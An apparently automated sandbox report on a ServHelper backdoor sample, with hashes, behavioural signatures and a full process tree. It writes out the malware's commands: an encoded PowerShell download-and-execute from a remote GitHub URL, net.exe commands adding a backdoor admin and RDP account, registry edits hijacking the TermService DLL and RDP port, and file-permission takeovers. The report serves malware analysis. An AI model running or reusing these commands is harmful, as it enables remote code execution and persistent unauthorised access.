Analysis
-
max time kernel
135s -
max time network
154s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
13-06-2021 11:46
Static task
static1
Behavioral task
behavioral1
Sample
63c81bd2299db58959013ff55b6f3698.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
63c81bd2299db58959013ff55b6f3698.exe
Resource
win10v20210410
General
-
Target
63c81bd2299db58959013ff55b6f3698.exe
-
Size
7.0MB
-
MD5
63c81bd2299db58959013ff55b6f3698
-
SHA1
ca9b8ed3f8d10d1e01411eb66e80549039e7591d
-
SHA256
3c41569f2ba7a3e123f2156e541c52fc924897a49a34139b87d5a1b93fb1f94d
-
SHA512
26af4f5aee0a015ac011eae176fcd65d9686ec60bcfaa05fb98d5e9078e2cd2d5f3b36cdcfe199def58140736d388205f19a50e0a1b50fc5d5c2f0aa951778cb
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 11 812 powershell.exe -
Executes dropped EXE 3 IoCs
Processes:
Lume.exe.comLume.exe.comLume.exe.compid process 1964 Lume.exe.com 1336 Lume.exe.com 1080 Lume.exe.com -
Modifies RDP port number used by Windows 1 TTPs
-
Possible privilege escalation attempt 8 IoCs
Processes:
icacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exepid process 632 icacls.exe 768 takeown.exe 1860 icacls.exe 1056 icacls.exe 1984 icacls.exe 1668 icacls.exe 1688 icacls.exe 2004 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
-
Processes:
resource yara_rule \Windows\Branding\mediasrv.png upx \Windows\Branding\mediasvc.png upx -
Deletes itself 1 IoCs
Processes:
powershell.exepid process 912 powershell.exe -
Loads dropped DLL 5 IoCs
Processes:
cmd.exeLume.exe.comLume.exe.compid process 1748 cmd.exe 1964 Lume.exe.com 1336 Lume.exe.com 936 936 -
Modifies file permissions 1 TTPs 8 IoCs
Processes:
takeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exepid process 768 takeown.exe 1860 icacls.exe 1056 icacls.exe 1984 icacls.exe 1668 icacls.exe 1688 icacls.exe 2004 icacls.exe 632 icacls.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
Lume.exe.comdescription pid process target process PID 1336 set thread context of 1080 1336 Lume.exe.com Lume.exe.com -
Drops file in Windows directory 21 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\POPYJ4IPHF7PP7PYIAV3.temp powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3b261207-ffda-404d-8cb2-76bc6b46cada powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c2e25a94-d0d9-4c38-957a-0fc9eabfa8d7 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_94dca94a-890d-405d-89ee-3313e69a0472 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_938cc281-74eb-44d3-affc-1a83dd662c7e powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_12117f2d-a32d-486b-bdaa-510cf624f93b powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0b91c4b8-b673-44a7-9ba7-006d064bdbda powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_02a20fe7-268d-4c0b-a76d-7ceec4adcfc6 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f0616120-e792-4064-b775-003bdac5bc22 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c89353f7-8118-4043-ae13-6c8072b3f37c powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_254415da-326e-40b8-915b-1c35928d7df2 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_79b33356-89fe-40bc-8de4-5b1a00eb9c85 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies data under HKEY_USERS 4 IoCs
Processes:
powershell.exeWMIC.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b072944c5a60d701 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 912 powershell.exe 912 powershell.exe 1956 powershell.exe 1956 powershell.exe 924 powershell.exe 924 powershell.exe 1684 powershell.exe 1684 powershell.exe 912 powershell.exe 912 powershell.exe 912 powershell.exe 812 powershell.exe 812 powershell.exe -
Suspicious behavior: LoadsDriver 3 IoCs
Processes:
pid process 468 936 936 -
Suspicious use of AdjustPrivilegeToken 18 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exedescription pid process Token: SeDebugPrivilege 912 powershell.exe Token: SeDebugPrivilege 1956 powershell.exe Token: SeDebugPrivilege 924 powershell.exe Token: SeDebugPrivilege 1684 powershell.exe Token: SeRestorePrivilege 1056 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1620 WMIC.exe Token: SeIncreaseQuotaPrivilege 1620 WMIC.exe Token: SeAuditPrivilege 1620 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1620 WMIC.exe Token: SeIncreaseQuotaPrivilege 1620 WMIC.exe Token: SeAuditPrivilege 1620 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1224 WMIC.exe Token: SeIncreaseQuotaPrivilege 1224 WMIC.exe Token: SeAuditPrivilege 1224 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1224 WMIC.exe Token: SeIncreaseQuotaPrivilege 1224 WMIC.exe Token: SeAuditPrivilege 1224 WMIC.exe Token: SeDebugPrivilege 812 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
63c81bd2299db58959013ff55b6f3698.execmd.execmd.exeLume.exe.comLume.exe.comLume.exe.compowershell.execsc.exedescription pid process target process PID 1908 wrote to memory of 652 1908 63c81bd2299db58959013ff55b6f3698.exe cmd.exe PID 1908 wrote to memory of 652 1908 63c81bd2299db58959013ff55b6f3698.exe cmd.exe PID 1908 wrote to memory of 652 1908 63c81bd2299db58959013ff55b6f3698.exe cmd.exe PID 1908 wrote to memory of 652 1908 63c81bd2299db58959013ff55b6f3698.exe cmd.exe PID 652 wrote to memory of 1748 652 cmd.exe cmd.exe PID 652 wrote to memory of 1748 652 cmd.exe cmd.exe PID 652 wrote to memory of 1748 652 cmd.exe cmd.exe PID 652 wrote to memory of 1748 652 cmd.exe cmd.exe PID 1748 wrote to memory of 1752 1748 cmd.exe findstr.exe PID 1748 wrote to memory of 1752 1748 cmd.exe findstr.exe PID 1748 wrote to memory of 1752 1748 cmd.exe findstr.exe PID 1748 wrote to memory of 1752 1748 cmd.exe findstr.exe PID 1748 wrote to memory of 1964 1748 cmd.exe Lume.exe.com PID 1748 wrote to memory of 1964 1748 cmd.exe Lume.exe.com PID 1748 wrote to memory of 1964 1748 cmd.exe Lume.exe.com PID 1748 wrote to memory of 1964 1748 cmd.exe Lume.exe.com PID 1748 wrote to memory of 1732 1748 cmd.exe PING.EXE PID 1748 wrote to memory of 1732 1748 cmd.exe PING.EXE PID 1748 wrote to memory of 1732 1748 cmd.exe PING.EXE PID 1748 wrote to memory of 1732 1748 cmd.exe PING.EXE PID 1964 wrote to memory of 1336 1964 Lume.exe.com Lume.exe.com PID 1964 wrote to memory of 1336 1964 Lume.exe.com Lume.exe.com PID 1964 wrote to memory of 1336 1964 Lume.exe.com Lume.exe.com PID 1336 wrote to memory of 1080 1336 Lume.exe.com Lume.exe.com PID 1336 wrote to memory of 1080 1336 Lume.exe.com Lume.exe.com PID 1336 wrote to memory of 1080 1336 Lume.exe.com Lume.exe.com PID 1336 wrote to memory of 1080 1336 Lume.exe.com Lume.exe.com PID 1336 wrote to memory of 1080 1336 Lume.exe.com Lume.exe.com PID 1080 wrote to memory of 912 1080 Lume.exe.com powershell.exe PID 1080 wrote to memory of 912 1080 Lume.exe.com powershell.exe PID 1080 wrote to memory of 912 1080 Lume.exe.com powershell.exe PID 912 wrote to memory of 1684 912 powershell.exe csc.exe PID 912 wrote to memory of 1684 912 powershell.exe csc.exe PID 912 wrote to memory of 1684 912 powershell.exe csc.exe PID 1684 wrote to memory of 824 1684 csc.exe cvtres.exe PID 1684 wrote to memory of 824 1684 csc.exe cvtres.exe PID 1684 wrote to memory of 824 1684 csc.exe cvtres.exe PID 912 wrote to memory of 1956 912 powershell.exe powershell.exe PID 912 wrote to memory of 1956 912 powershell.exe powershell.exe PID 912 wrote to memory of 1956 912 powershell.exe powershell.exe PID 912 wrote to memory of 924 912 powershell.exe powershell.exe PID 912 wrote to memory of 924 912 powershell.exe powershell.exe PID 912 wrote to memory of 924 912 powershell.exe powershell.exe PID 912 wrote to memory of 1684 912 powershell.exe powershell.exe PID 912 wrote to memory of 1684 912 powershell.exe powershell.exe PID 912 wrote to memory of 1684 912 powershell.exe powershell.exe PID 912 wrote to memory of 768 912 powershell.exe takeown.exe PID 912 wrote to memory of 768 912 powershell.exe takeown.exe PID 912 wrote to memory of 768 912 powershell.exe takeown.exe PID 912 wrote to memory of 1860 912 powershell.exe icacls.exe PID 912 wrote to memory of 1860 912 powershell.exe icacls.exe PID 912 wrote to memory of 1860 912 powershell.exe icacls.exe PID 912 wrote to memory of 1056 912 powershell.exe icacls.exe PID 912 wrote to memory of 1056 912 powershell.exe icacls.exe PID 912 wrote to memory of 1056 912 powershell.exe icacls.exe PID 912 wrote to memory of 1984 912 powershell.exe icacls.exe PID 912 wrote to memory of 1984 912 powershell.exe icacls.exe PID 912 wrote to memory of 1984 912 powershell.exe icacls.exe PID 912 wrote to memory of 1668 912 powershell.exe icacls.exe PID 912 wrote to memory of 1668 912 powershell.exe icacls.exe PID 912 wrote to memory of 1668 912 powershell.exe icacls.exe PID 912 wrote to memory of 1688 912 powershell.exe icacls.exe PID 912 wrote to memory of 1688 912 powershell.exe icacls.exe PID 912 wrote to memory of 1688 912 powershell.exe icacls.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\63c81bd2299db58959013ff55b6f3698.exe"C:\Users\Admin\AppData\Local\Temp\63c81bd2299db58959013ff55b6f3698.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Una.sldm2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^fkQjFsrSXyNvteGyMPSxkkZVHfjznZdJHKQAjJSNwkJAiEkjVdHhQkvrkUFdtJzYPtPxjySeXtaZCmOerqnoseTvgMfstBJsRLLrPRqPbFfLSvBMuChtkkGMlzum$" Dal.sldm4⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.comLume.exe.com j4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.com j5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.com6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'7⤵
- Deletes itself
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2qntlmqv\2qntlmqv.cmdline"8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1AE0.tmp" "c:\Users\Admin\AppData\Local\Temp\2qntlmqv\CSC4FECFC64BF44D11894BC5B16BA1FA8.TMP"9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll8⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d8⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"8⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"8⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"8⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"8⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators8⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX8⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f8⤵
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f8⤵
- Modifies registry key
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f8⤵
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add9⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr8⤵
-
C:\Windows\system32\cmd.execmd /c net start rdpdr9⤵
-
C:\Windows\system32\net.exenet start rdpdr10⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr11⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService8⤵
-
C:\Windows\system32\cmd.execmd /c net start TermService9⤵
-
C:\Windows\system32\net.exenet start TermService10⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService11⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f8⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f8⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 304⤵
- Runs ping.exe
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Ghar4f5 /del1⤵
-
C:\Windows\system32\net.exenet.exe user wgautilacc Ghar4f5 /del2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Ghar4f5 /del3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Br3XF6Lm /add1⤵
-
C:\Windows\system32\net.exenet.exe user wgautilacc Br3XF6Lm /add2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Br3XF6Lm /add3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD1⤵
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" wgautilacc /ADD2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD3⤵
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Br3XF6Lm1⤵
-
C:\Windows\system32\net.exenet.exe user wgautilacc Br3XF6Lm2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Br3XF6Lm3⤵
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.execmd.exe /C net user wgautilacc 12341⤵
-
C:\Windows\system32\net.exenet user wgautilacc 12342⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc 12343⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1bc9075a-94ed-4ad7-9168-408b0e688925MD5
6f0d509e28be1af95ba237d4f43adab4
SHA1c665febe79e435843553bee86a6cea731ce6c5e4
SHA256f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e
SHA5128dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_392239be-83b5-4529-981c-de05ccf0e0f3MD5
faa37917b36371249ac9fcf93317bf97
SHA1a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4
SHA256b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132
SHA512614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3cfcc09f-fbcd-4dea-bc4c-618bfca33f5eMD5
7f79b990cb5ed648f9e583fe35527aa7
SHA171b177b48c8bd745ef02c2affad79ca222da7c33
SHA256080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683
SHA51220926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_684eada6-8d6b-46f7-9569-5c13af060a11MD5
a70ee38af4bb2b5ed3eeb7cbd1a12fa3
SHA181dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9
SHA256dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d
SHA5128c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c2c55296-9b0b-4324-872e-752a57573375MD5
e5b3ba61c3cf07deda462c9b27eb4166
SHA1b324dad73048be6e27467315f82b7a5c1438a1f9
SHA256b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925
SHA512a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e1599a22-75a0-4ee8-9c60-24ab82224023MD5
2d5cd190b5db0620cd62e3cd6ba1dcd3
SHA1ff4f229f4fbacccdf11d98c04ba756bda80aac7a
SHA256ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d
SHA512edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e5c0994b-83ce-441b-b920-30f7b761bc89MD5
d89968acfbd0cd60b51df04860d99896
SHA1b3c29916ccb81ce98f95bbf3aa8a73de16298b29
SHA2561020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9
SHA512b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
3e1a0a60278b806d1f5ea37987620c94
SHA1199d1f23cc86dda7e3c7c931b48f41c559e84d09
SHA2565736fa85f6902dc3dde3ffa36be80f76a2d998df26f52e599822cf33cdbb4969
SHA512090b3353a1bd4f63d6b9431ed36460fae461c605bb29afc1c006b8013d02e67f548d4780f87b4776b90dd0eeabf0807e344aca7d736fba285bfa0b6124d3e546
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
8cec2ed89d11b8756356f1d9752de990
SHA19e7edc570fc304c32e72147d0883a0307fdccd8d
SHA25637e235ac37867ddcdb27f6bf3f83e9b771f6f4074834310c4110ec9805f04302
SHA5125c05ad88defa74617b03abdf838149fd2973bb455a4284c6fd41127104d6c97225d62ae7f439d323c3d7239f410aa5e5f4a83236af744d8e09b1605b5293c266
-
C:\Users\Admin\AppData\Local\Temp\2qntlmqv\2qntlmqv.dllMD5
d721dc10b9e974243e3b7c955bdb70a1
SHA167c5bcfc20f17eb1808cb194a5400ee35742d319
SHA2565e33b8916b4727325fbd6de09f0e01432273559f06689eeba1ea66b0e554faf7
